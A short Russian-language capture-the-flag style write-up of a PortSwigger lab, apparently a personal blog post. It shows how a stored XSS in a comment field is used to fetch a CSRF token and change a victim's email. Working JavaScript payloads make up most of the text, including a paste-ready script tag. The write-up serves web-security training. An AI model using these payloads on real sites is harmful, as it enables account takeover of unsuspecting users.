На странице
apsyleg1 мин
#portswigger #xss #csrf #web-security

Обход CSRF через XSS

Лаборатория

Exploiting XSS to bypass CSRF defenses · Practitioner

Разведка

Из описания: нужно изменить email жертвы, используя XSS-уязвимость для обхода защиты по CSRF-токену.

Смотрим, как работает смена email. Со страницы /my-account?id=wiener улетает POST на /my-account/change-email с телом:

email=new@mail.com
csrf=YVd0ZENUlUAxXV5wV7CBKKvnfDk0iIea

Значит, нагрузка должна предварительно добыть CSRF-токен. Атака: пэйлоад сначала делает GET на /my-account, забирает токен, потом POST на /my-account/change-email.

Точку для XSS ищем на удачу — <img src=x onerror=fetch(1)> в поле комментария. Есть XSS.

План

  1. GET на /my-account
  2. Читаем ответ и находим CSRF-токен — он лежит в <input required type="hidden" name="csrf" value="YVd0ZENUlUAxXV5wV7CBKKvnfDk0iIea">
  3. POST на /my-account/change-email — CSRF-токен и email в тело запроса как FormData

Извлечь токен можно регуляркой или через DOMParser. Распарсить HTML надёжнее.

Эксплуатация

Первый вариант нагрузки:

fetch('/my-account')
  .then(r => r.text())
  .then(html => {
    const doc = new DOMParser().parseFromString(html, 'text/html');
    const csrf = doc.querySelector('input[name=csrf]').value;
    const body = new URLSearchParams({ email: 'new@mail.com', csrf });
    return fetch('/my-account/change-email', { method: 'POST', body });
  });

Пробуем в консоли Chrome — токен получается успешно, запрос улетает, возвращает 302 и редирект, но email не поменялся.

Сравнил наш запрос с оригинальным. Отличие — в заголовке Content-Type: сервер PortSwigger ждёт application/x-www-form-urlencoded, а URLSearchParams подставляет с кодировкой — application/x-www-form-urlencoded;charset=UTF-8.

Итоговая нагрузка:

fetch('/my-account')
  .then(r => r.text())
  .then(html => {
    const doc = new DOMParser().parseFromString(html, 'text/html');
    const csrf = doc.querySelector('input[name=csrf]').value;
    const body = new URLSearchParams({ email: 'pwned@hacker.com', csrf });
    return fetch('/my-account/change-email', {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body,
    });
  });

Ключ — явная установка headers: { 'Content-Type': 'application/x-www-form-urlencoded' }.

Подготовленная версия для вставки в поле комментария:

<script> fetch('/my-account') .then(r => r.text()) .then(html => { const doc = new DOMParser().parseFromString(html, 'text/html'); const csrf = doc.querySelector('input[name=csrf]').value; const body = new URLSearchParams({email: 'pwned@hacker.com', csrf}); return fetch('/my-account/change-email', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body }); }); </script>

Лаба решена.